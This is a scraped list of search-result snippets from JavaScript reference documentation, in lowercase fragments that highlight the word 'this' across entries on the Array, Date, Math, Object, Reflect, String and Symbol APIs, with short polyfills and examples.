...(-1); // rangeerror 77.1234.toexponential(101); // rangeerror 2.34.tofixed(-100); // rangeerror 2.34.tofixed(1001); // rangeerror 1234.5.toprecision(-1); // rangeerror 1234.5.toprecision(101); // rangeerror valid cases 77.1234.toexponential(4); // 7.7123e+1 77.1234.toexponential(2); // 7.71e+1 2.34.tofixed(1); // 2.3 2.35.tofixed(1); // 2.4 (note that it rounds up in
this case) 5.123456.toprecision(5); // 5.1235 5.123456.toprecision(2); // 5.1 5.123456.toprecision(1); // 5 ...
TypeError: Reduce of empty array with no initial value - JavaScript
this error is raised when an empty array is provided because no initial value can be returned in that case.
... examples invalid cases
this problem appears frequently when combined with a filter (array.prototype.filter(), typedarray.prototype.filter()) which will remove all elements of the list.
ReferenceError: reference to undefined property "x" - JavaScript
examples invalid cases in
this case, the property bar is an undefined property, so a referenceerror will occur.
... var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like
this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (foo.hasownproperty('bar')) { console.log(foo.bar); } ...
TypeError: "x" is (not) "y" - JavaScript
this occurs oftentimes with undefined or null values.
...} if (typeof foo !== 'undefined') { // the same good idea, but don't use
this implementation - it can bring problems // because of the confusion between truly undefined and undeclared variables.
arguments.length - JavaScript
this can be more or less than the defined parameter's count (see function.length).
... examples using arguments.length in
this example we define a function that can add two or more numbers together.
Array.prototype[@@iterator]() - JavaScript
) { letterresult.innerhtml += "<li>" + letter + "</li>"; } result alternative iteration var arr = ['a', 'b', 'c', 'd', 'e']; var earr = arr[symbol.iterator](); console.log(earr.next().value); // a console.log(earr.next().value); // b console.log(earr.next().value); // c console.log(earr.next().value); // d console.log(earr.next().value); // e use case for brace notation the use case for
this syntax over using the dot notation (array.prototype.values()) is in a case where you don't know what object is going to be ahead of time.
...
this could be a built-in object like string object or a custom object.
Array() constructor - JavaScript
note that
this special case only applies to javascript arrays created with the array constructor, not array literals created with the bracket syntax.
... arraylength if the only argument passed to the array constructor is an integer between 0 and 232-1 (inclusive),
this returns a new javascript array with its length property set to that number (note:
this implies an array of arraylength empty slots, not slots with actual undefined values).
Array.prototype.flat() - JavaScript
the source for
this interactive example is stored in a github repository.
...ion* flatten(array, depth) { if(depth === undefined) { depth = 1; } for(const item of array) { if(array.isarray(item) && depth > 0) { yield* flatten(item, depth - 1); } else { yield item; } } } const arr = [1, 2, [3, 4, [5, 6]]]; const flattened = [...flatten(arr, infinity)]; // [1, 2, 3, 4, 5, 6] please do not add polyfills on
this article.
Array.of() - JavaScript
the difference between array.of() and the array constructor is in the handling of integer arguments: array.of(7) creates an array with a single element, 7, whereas array(7) creates an empty array with a length property of 7 (note:
this implies an array of 7 empty slots, not slots with actual undefined values).
... description
this function is part of the ecmascript 2015 standard.
Array.prototype.reverse() - JavaScript
the source for
this interactive example is stored in a github repository.
... reverse is intentionally generic;
this method can be called or applied to objects resembling arrays.
Array.prototype.slice() - JavaScript
the source for
this interactive demo is stored in a github repository.
...console.log('mycar[0].color = ' + mycar[0].color) console.log('newcar[0].color = ' + newcar[0].color)
this script writes: mycar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2, 'cherry condition', 'purchased 1997'] newcar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2] mycar[0].color = red newcar[0].color = red the new color of my honda is purple mycar[0].color = purple newcar[0].color = purple array-like objects slice method can also be called to co...
ArrayBuffer() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
... var dv = arraybuffer(10); // typeerror: calling a builtin arraybuffer constructor // without new is forbidden var dv = new arraybuffer(10); examples creating an arraybuffer in
this example, we create a 8-byte buffer with a int32array view referring to the buffer: var buffer = new arraybuffer(8); var view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
AsyncFunction - JavaScript
this is less efficient than declaring an async function with an async function expression and calling it within your code, because such functions are parsed with the rest of the code.
...
this is different from using eval with code for an async function expression.
Atomics.add() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
Atomics.and() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
Atomics.compareExchange() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
Atomics.exchange() - JavaScript
this atomic operation guarantees that no other write happens between the read of the old value and the write of the new value.
... the source for
this interactive example is stored in a github repository.
Atomics.or() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
Atomics.sub() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
Atomics.xor() - JavaScript
this atomic operation guarantees that no other write happens until the modified value is written back.
... the source for
this interactive example is stored in a github repository.
BigInt.prototype.toString() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is the case even if the radix is 2; the string returned is the positive binary representation of the bigintobj preceded by a - sign, not the two's complement of the bigintobj.
Boolean.prototype.valueOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method is usually called internally by javascript and not explicitly in code.
DataView.prototype.buffer - JavaScript
the source for
this interactive example is stored in a github repository.
... description the buffer property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
Date() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
... individual date and time component values given at least a year and month,
this form of date() returns a date object whose component values (year, month, day, hour, minute, second, and millisecond) all come from the following parameters.
Date.prototype.getDay() - JavaScript
the source for
this interactive example is stored in a github repository.
...using
this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification.
Date.prototype.getMonth() - JavaScript
the source for
this interactive example is stored in a github repository.
...using
this method, internationalization is made easier: var options = { month: 'long'}; console.log(new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification.
Date.prototype.getTimezoneOffset() - JavaScript
the source for
this interactive example is stored in a github repository.
... note that
this means that the offset is positive if the local timezone is behind utc, and negative if it is ahead.
Date.now() - JavaScript
polyfill
this method was standardized in ecma-262 5th edition.
... engines which have not been updated to support
this method can work around the absence of
this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings.
Date.prototype.toDateString() - JavaScript
the source for
this interactive example is stored in a github repository.
...in spidermonkey,
this consists of the date portion (day, month, and year) followed by the time portion (hours, minutes, seconds, and time zone).
Date.prototype.toJSON() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method is generally intended to, by default, usefully serialize date objects during json serialization.
Date.prototype.toString() - JavaScript
the source for
this interactive example is stored in a github repository.
... tostring() is a generic method, it does not require that its
this is a date instance.
Date.prototype.toTimeString() - JavaScript
the source for
this interactive example is stored in a github repository.
...in spidermonkey,
this consists of the date portion (day, month, and year) followed by the time portion (hours, minutes, seconds, and time zone).
Date.prototype.valueOf() - JavaScript
this method is functionally equivalent to the date.prototype.gettime() method.
...
this method is usually called internally by javascript and not explicitly in code.
Error.prototype.fileName - JavaScript
the filename property contains the path to the file that raised
this error.
... description
this non-standard property contains the path to the file that raised
this error.
Error.prototype.lineNumber - JavaScript
the linenumber property contains the line number in the file that raised
this error.
... examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e;
this is not a standard feature and lacks widespread support.
Error.prototype.message - JavaScript
description
this property contains a brief description of the error if one is available or has been set.
... by default, the message property is an empty string, but
this behavior can be overridden for an instance by specifying a message as the first argument to the error constructor.
Error.prototype.toSource() - JavaScript
this string can be evaluated to create an (approximately) equal object.
... note: be aware that the properties used by the tosource method in the creation of
this string are mutable and may not accurately reflect the function used to create an error instance or the filename or line number where the actual error occurred.
Error.prototype.toString() - JavaScript
its semantics are as follows (assuming object and string have their original values): error.prototype.tostring = function() { 'use strict'; var obj = object(
this); if (obj !==
this) { throw new typeerror(); } var name =
this.name; name = (name === undefined) ?
... 'error' : string(name); var msg =
this.message; msg = (msg === undefined) ?
Function() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is less efficient than declaring a function with a function expression or function statement and calling it within your code because such functions are parsed with the rest of the code.
Function.length - JavaScript
the source for
this interactive example is stored in a github repository.
...
this number excludes the rest parameter and only includes parameters before the first one with a default value.
Function.name - JavaScript
the source for
this interactive example is stored in a github repository.
...n expression: let object = { somemethod: function object_somemethod() {} }; console.log(object.somemethod.name); // logs "object_somemethod" try { object_somemethod } catch(e) { console.log(e); } // referenceerror: object_somemethod is not defined the name property is read-only and cannot be changed by the assigment operator: example below contradicts with what is said at the beginning of
this section and doesn't work as described.
Function.prototype.toString() - JavaScript
the source for
this interactive example is stored in a github repository.
... the tostring() method will throw a typeerror exception ("function.prototype.tostring called on incompatible object"), if its
this value object is not a function object.
GeneratorFunction - JavaScript
this is less efficient than declaring a generator function with a function* expression and calling it within your code, because such functions are parsed with the rest of the code.
...
this is different from using eval with code for a generator function expression.
Infinity - JavaScript
property attributes of infinity writable no enumerable no configurable no the source for
this interactive example is stored in a github repository.
...
this value behaves slightly differently than mathematical infinity; see number.positive_infinity for details.
Intl.DateTimeFormat.prototype.formatRange() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax intl.datetimeformat.prototype.formatrange(startdate, enddate) examples basic formatrange usage
this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating intl.datetimeformat.
Intl.DateTimeFormat.prototype.formatRangeToParts() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax intl.datetimeformat.prototype.formatrangetoparts(startdate, enddate) examples basic formatrangetoparts usage
this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range.
Intl.DisplayNames - JavaScript
the source for
this interactive example is stored in a github repository.
... instance methods intl.displaynames.prototype.of()
this method receives a code and returns a string based on the locale and options provided when instantiating intl.displaynames.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
the intl.pluralrules.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and plural formatting options computed during initialization of
this pluralrules object.
...if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
the source for
this interactive example is stored in a github repository.
...if a "part" came from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger frame will not have
this property.
Intl - JavaScript
this registry is periodically updated over time, and implementations may not always be up to date, so be careful not to rely too much on tags being universally supported.
...
this extension allows applications to encode information for their own private use, that will be ignored by all intl operations.
Map.prototype.size - JavaScript
the source for
this interactive example is stored in a github repository.
...a set accessor function for size is undefined; you can not change
this property.
Math.acos() - JavaScript
the math.acos() function returns the arccosine (in radians) of a number, that is ∀x∊[-1;1],math.acos(x)=arccos(x)= the unique y∊[0;π]such thatcos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x the source for
this interactive example is stored in a github repository.
...if the value of x is outside
this range, it returns nan.
Math.acosh() - JavaScript
the math.acosh() function returns the hyperbolic arc-cosine of a number, that is ∀x≥1,math.acosh(x)=arcosh(x)= the unique y≥0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x the source for
this interactive example is stored in a github repository.
... polyfill for all x≥1x \geq 1, we have arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) and so
this can be emulated with the following function: math.acosh = math.acosh || function(x) { return math.log(x + math.sqrt(x * x - 1)); }; examples using math.acosh() math.acosh(-1); // nan math.acosh(0); // nan math.acosh(0.5); // nan math.acosh(1); // 0 math.acosh(2); // 1.3169578969248166 for values less than 1 math.acosh() returns nan.
Math.asin() - JavaScript
the math.asin() function returns the arcsine (in radians) of a number, that is ∀x∊[-1;1],math.asin(x)=arcsin(x)= the unique y∊[-π2;π2]such thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x the source for
this interactive example is stored in a github repository.
...if the value of x is outside
this range, it returns nan.
Math.atan() - JavaScript
the math.atan() function returns the arctangent (in radians) of a number, that is math.atan(x)=arctan(x)= the unique y∊[-π2;π2]such thattan(y)=x\mathtt{\operatorname{math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x the source for
this interactive example is stored in a github repository.
...in
this case, math.atan2() with 0 as the second argument may be a better solution.
Math.atanh() - JavaScript
the math.atanh() function returns the hyperbolic arctangent of a number, that is ∀x∊(-1,1),math.atanh(x)=arctanh(x)= the unique ysuch thattanh(y)=x\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x the source for
this interactive example is stored in a github repository.
... polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right) so
this can be emulated by the following function: math.atanh = math.atanh || function(x) { return math.log((1+x)/(1-x)) / 2; }; examples using math.atanh() math.atanh(-2); // nan math.atanh(-1); // -infinity math.atanh(0); // 0 math.atanh(0.5); // 0.5493061443340548 math.atanh(1); // infinity math.atanh(2); // nan for values greater than 1 or less than -1, nan is returned.
Math.cbrt() - JavaScript
the math.cbrt() function returns the cube root of a number, that is math.cbrt(x)=x3=the uniqueysuch thaty3=x\mathtt{math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x the source for
this interactive example is stored in a github repository.
... polyfill for all x≥0x \geq 0, have x3=x1/3\sqrt[3]{x} = x^{1/3} so
this can be emulated by the following function: if (!math.cbrt) { math.cbrt = (function(pow) { return function cbrt(x){ // ensure negative numbers remain negative: return x < 0 ?
Math.cos() - JavaScript
this value is length adjacent length hypotenuse .
... the source for
this interactive example is stored in a github repository.
Math.cosh() - JavaScript
the math.cosh() function returns the hyperbolic cosine of a number, that can be expressed using the constant e: math.cosh(x)=ex+e-x2\mathtt{\operatorname{math.cosh(x)}} = \frac{e^x + e^{-x}}{2} the source for
this interactive example is stored in a github repository.
... polyfill
this can be emulated with the help of the math.exp() function: math.cosh = math.cosh || function(x) { return (math.exp(x) + math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.cosh = math.cosh || function(x) { var y = math.exp(x); return (y + 1 / y) / 2; }; examples using math.cosh() math.cosh(0); // 1 math.cosh(1); // 1.5430806348152437 math.cosh(-1); // 1.543...
Math.expm1() - JavaScript
the source for
this interactive example is stored in a github repository.
... polyfill
this can be emulated with the help of the math.exp() function: math.expm1 = math.expm1 || function(x) { return math.exp(x) - 1; }; examples using math.expm1() math.expm1(-1); // -0.6321205588285577 math.expm1(0); // 0 math.expm1(1); // 1.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.expm1' in that specification.
Math.random() - JavaScript
getting a random number between 0 (inclusive) and 1 (exclusive) function getrandom() { return math.random(); } getting a random number between two values
this example returns a random number between the specified values.
... function getrandomarbitrary(min, max) { return math.random() * (max - min) + min; } getting a random integer between two values
this example returns a random integer between the specified values.
Math.random() - JavaScript
getting a random number between 0 (inclusive) and 1 (exclusive) function getrandom() { return math.random(); } getting a random number between two values
this example returns a random number between the specified values.
... function getrandomarbitrary(min, max) { return math.random() * (max - min) + min; } getting a random integer between two values
this example returns a random integer between the specified values.
Math.round() - JavaScript
the source for
this interactive example is stored in a github repository.
... note that
this differs from many languages' round() functions, which often round
this case to the next integer away from zero, instead giving a different result in the case of negative numbers with a fractional part of exactly 0.5.
Math.sign() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this argument is not a number, it is implicitly converted to one.
Math.sinh() - JavaScript
the math.sinh() function returns the hyperbolic sine of a number, that can be expressed using the constant e: math.sinh(x)=ex-e-x2\mathtt{\operatorname{math.sinh(x)}} = \frac{e^x - e^{-x}}{2} the source for
this interactive example is stored in a github repository.
... polyfill
this can be emulated with the help of the math.exp() function: math.sinh = math.sinh || function(x) { return (math.exp(x) - math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.sinh = math.sinh || function(x) { var y = math.exp(x); return (y - 1 / y) / 2; } examples using math.sinh() math.sinh(0); // 0 math.sinh(1); // 1.1752011936438014 specifications ...
Math.trunc() - JavaScript
the source for
this interactive example is stored in a github repository.
... the argument passed to
this method will be converted to number type implicitly.
NaN - JavaScript
property attributes of nan writable no enumerable no configurable no the source for
this interactive example is stored in a github repository.
...even when
this is not the case, avoid overriding it.
Number.EPSILON - JavaScript
you do not have to create a number object to access
this static property (use number.epsilon).
... the source for
this interactive example is stored in a github repository.
Number.NEGATIVE_INFINITY - JavaScript
the source for
this interactive example is stored in a github repository.
...
this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by negative_infinity is negative_infinity.
Number.POSITIVE_INFINITY - JavaScript
the source for
this interactive example is stored in a github repository.
...
this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by positive_infinity is positive_infinity.
Number.prototype.toString() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is the case even if the radix is 2; the string returned is the positive binary representation of the numobj preceded by a - sign, not the two's complement of the numobj.
Number.prototype.valueOf() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method is usually called internally by javascript and not explicitly in web code.
Object.prototype.__lookupSetter__() - JavaScript
it is now possible to do
this in a standardized way using object.getownpropertydescriptor().
... examples standard-compliant and non-standard ways to get a property setter var obj = { set foo(value) {
this.bar = value; } }; // non-standard and deprecated way obj.__lookupsetter__('foo') // (function(value) {
this.bar = value; }) // standard-compliant way object.getownpropertydescriptor(obj, 'foo').set; // (function(value) {
this.bar = value; }) specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__lookupsetter__()' in that specification.
Object.entries() - JavaScript
the source for
this interactive example is stored in a github repository.
...bject const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] // array like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.entries(anobj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ] // getfoo is property which isn't enumerable const myobj = object.create({}, { getfoo: { value() { return
this.foo; } } }); myobj.foo = 'bar'; console.log(object.entries(myobj)); // [ ['foo', 'bar'] ] // non-object argument will be coerced to an object console.log(object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties console.log(object.entries(100)); // [ ] // iterate through key-value gracefully const...
Object.freeze() - JavaScript
the source for
this interactive example is stored in a github repository.
... in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.fromEntries() - JavaScript
the source for
this interactive example is stored in a github repository.
...2 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c" } object transformations with object.fromentries, its reverse method object.entries(), and array manipulation methods, you are able to transform objects like
this: const object1 = { a: 1, b: 2, c: 3 }; const object2 = object.fromentries( object.entries(object1) .map(([ key, val ]) => [ key, val * 2 ]) ); console.log(object2); // { a: 2, b: 4, c: 6 } please do not add polyfills on mdn pages.
Object.is() - JavaScript
two values are the same if one of the following holds: both undefined both null both true or both false both strings of the same length with the same characters in the same order both the same object (means both object have same reference) both numbers and both +0 both -0 both nan or both non-zero and both not nan and both have the same value
this is not the same as being equal according to the == operator.
...
this is also not the same as being equal according to the === operator.
Object.isExtensible() - JavaScript
the source for
this interactive example is stored in a github repository.
...var frozen = object.freeze({}); object.isextensible(frozen); // === false non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.isFrozen() - JavaScript
the source for
this interactive example is stored in a github repository.
...object.issealed(frozen); // === true non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.prototype.isPrototypeOf() - JavaScript
the source for
this interactive example is stored in a github repository.
... examples using isprototypeof
this example demonstrates that baz.prototype, bar.prototype, foo.prototype and object.prototype exist in the prototype chain for object baz: function foo() {} function bar() {} function baz() {} bar.prototype = object.create(foo.prototype); baz.prototype = object.create(bar.prototype); var baz = new baz(); console.log(baz.prototype.isprototypeof(baz)); // true console.log(bar.prototype.isprototype...
Object.isSealed() - JavaScript
the source for
this interactive example is stored in a github repository.
...object.isfrozen(sealed); // === true // (all properties also non-writable) var s2 = object.seal({ p: 3 }); object.isfrozen(s2); // === false // ('p' is still writable) var s3 = object.seal({ get p() { return 0; } }); object.isfrozen(s3); // === true // (only configurability matters for accessor properties) non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.prototype.toSource() - JavaScript
for example: function person(name) {
this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(
this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascript type has its own tosource() method.
... examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) {
this.name = name;
this.breed = breed;
this.color = color;
this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Object.values() - JavaScript
(the only difference is that a for...in loop enumerates properties in the prototype chain as well.) the source for
this interactive example is stored in a github repository.
...s(arraylikeobj1 )); // ['a', 'b', 'c'] // array-like object with random key ordering // when using numeric keys, the values are returned in the keys' numerical order const arraylikeobj2 = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.values(arraylikeobj2 )); // ['b', 'c', 'a'] // getfoo is property which isn't enumerable const my_obj = object.create({}, { getfoo: { value: function() { return
this.foo; } } }); my_obj.foo = 'bar'; console.log(object.values(my_obj)); // ['bar'] // non-object argument will be coerced to an object console.log(object.values('foo')); // ['f', 'o', 'o'] specifications specification ecmascript (ecma-262)the definition of 'object.values' in that specification.
Promise.race() - JavaScript
the source for
this interactive demo is stored in a github repository.
... examples asynchronicity of promise.race
this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execut...
Promise.reject() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax promise.reject(reason); parameters reason reason why
this promise rejected.
Promise.resolve() - JavaScript
this function flattens nested layers of promise-like objects (e.g.
... syntax promise.resolve(value); parameters value argument to be resolved by
this promise.
Reflect.get() - JavaScript
the source for
this interactive example is stored in a github repository.
... receiver optional the value of
this provided for the call to target if a getter is encountered.
Reflect.getOwnPropertyDescriptor() - JavaScript
the source for
this interactive example is stored in a github repository.
...escriptor() reflect.getownpropertydescriptor({x: 'hello'}, 'x') // {value: "hello", writable: true, enumerable: true, configurable: true} reflect.getownpropertydescriptor({x: 'hello'}, 'y') // undefined reflect.getownpropertydescriptor([], 'length') // {value: 0, writable: true, enumerable: false, configurable: false} difference to object.getownpropertydescriptor() if the target argument to
this method is not an object (a primitive), then it will cause a typeerror.
Reflect.isExtensible() - JavaScript
the source for
this interactive example is stored in a github repository.
...let frozen = object.freeze({}) reflect.isextensible(frozen) // === false difference to object.isextensible() if the target argument to
this method is not an object (a primitive), then it will cause a typeerror.
Reflect.preventExtensions() - JavaScript
the source for
this interactive example is stored in a github repository.
...reflect.preventextensions(empty) reflect.isextensible(empty) // === false difference from object.preventextensions() if the target argument to
this method is not an object (a primitive), then it will cause a typeerror.
Reflect.set() - JavaScript
the source for
this interactive example is stored in a github repository.
... receiver optional the value of
this provided for the call to target if a setter is encountered.
Reflect - JavaScript
static methods reflect.apply(target,
thisargument, argumentslist) calls a target function with arguments as specified by the argumentslist parameter.
...my name is ${
this.name}`); } } reflect.has(duck, 'color'); // true reflect.has(duck, 'haircut'); // false returning the object's own keys reflect.ownkeys(duck); // [ "name", "color", "greeting" ] adding a new property to the object reflect.set(duck, 'eyes', 'black'); // returns "true" if successful // "duck" now contains the property "eyes: 'black'" specifications specification ecmascrip...
get RegExp[@@species] - JavaScript
the source for
this interactive example is stored in a github repository.
...however, you might want to overwrite
this, in order to return parent regexp objects in your derived class methods: class myregexp extends regexp { // overwrite myregexp species to the parent regexp constructor static get [symbol.species]() { return regexp; } } specifications specification ecmascript (ecma-262)the definition of 'get regexp [ @@species ]' in that specification.
RegExp.prototype.dotAll - JavaScript
the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator
this effectively means the dot will match any character on the unicode basic multilingual plane (bmp).
... you cannot change
this property directly.
RegExp.prototype.flags - JavaScript
the source for
this interactive example is stored in a github repository.
... polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return
this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExpInstance.lastIndex - JavaScript
property attributes of regexpinstance.lastindex writable yes enumerable no configurable no description
this property is set only if the regular expression instance used the g flag to indicate a global search, or the y flag to indicate a sticky search.
...in
this case, the empty string because lastindex was 2 (and still is 2) and hi has length 2.
Set() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
... if you don't specify
this parameter, or its value is null, the new set is empty.
Set.prototype.size - JavaScript
the source for
this interactive example is stored in a github repository.
...a set accessor function for size is undefined; you cannot change
this property.
Set.prototype.values() - JavaScript
the keys() method is an alias for
this method (for similarity with map objects); it behaves exactly the same and returns values of set elements.
... the source for
this interactive example is stored in a github repository.
SharedArrayBuffer.prototype.byteLength - JavaScript
the source for
this interactive example is stored in a github repository.
... description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
SharedArrayBuffer - JavaScript
this is established when the array is constructed and cannot be changed.
... instance methods sharedarraybuffer.prototype.slice(begin, end) returns a new sharedarraybuffer whose contents are a copy of
this sharedarraybuffer's bytes from begin, inclusive, up to end, exclusive.
String.prototype.codePointAt() - JavaScript
the source for
this interactive example is stored in a github repository.
...fined`/`null` var defineproperty = (function() { // ie 8 only supports `object.defineproperty` on dom elements try { var object = {}; var $defineproperty = object.defineproperty; var result = $defineproperty(object, object, object) && $defineproperty; } catch(error) {} return result; }()); var codepointat = function(position) { if (
this == null) { throw typeerror(); } var string = string(
this); var size = string.length; // `tointeger` var index = position ?
String.fromCodePoint() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method returns a string (and not a string object).
String.prototype.indexOf() - JavaScript
the source for
this interactive example is stored in a github repository.
... if no string is explicitly provided, searchvalue will be coerced to "undefined", and
this value will be searched for in str.
String length - JavaScript
description
this property returns the number of code units in the string.
... unicode since `length` counts code units instead of characters, if you want to get the number of characters you need something like
this: function getcharacterlength (str) { // the string iterator that is used here iterates over characters, // not mere code units return [...str].length; } console.log(getcharacterlength('a\ud87e\udc04z')); // 3 // while not recommended, you could add
this to each string as follows: object.defineproperty(string.prototype, 'charlength', { get () { return getcharacterlength(
this); }...
String.prototype.match() - JavaScript
the source for
this interactive example is stored in a github repository.
...in
this case, the returned item will have additional properties as described below.
String.prototype.normalize() - JavaScript
the source for
this interactive example is stored in a github repository.
... let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 the normalize() method helps solve
this problem by converting a string into a normalized form common for all sequences of code points that represent the same characters.
String.prototype.search() - JavaScript
the search() method executes a search for a match between a regular expression and
this string object.
... the source for
this interactive example is stored in a github repository.
String.prototype.toLocaleLowerCase() - JavaScript
the source for
this interactive example is stored in a github repository.
...in most cases,
this will produce the same result as tolowercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be a different result.
Symbol() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror
this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol.asyncIterator - JavaScript
if
this property is set on an object, it is an async iterable and can be used in a for await...of loop.
... the source for
this interactive example is stored in a github repository.
Symbol.for() - JavaScript
otherwise a new symbol gets created in the global symbol registry with
this key.
... the source for
this interactive example is stored in a github repository.
Symbol.iterator - JavaScript
the source for
this interactive example is stored in a github repository.
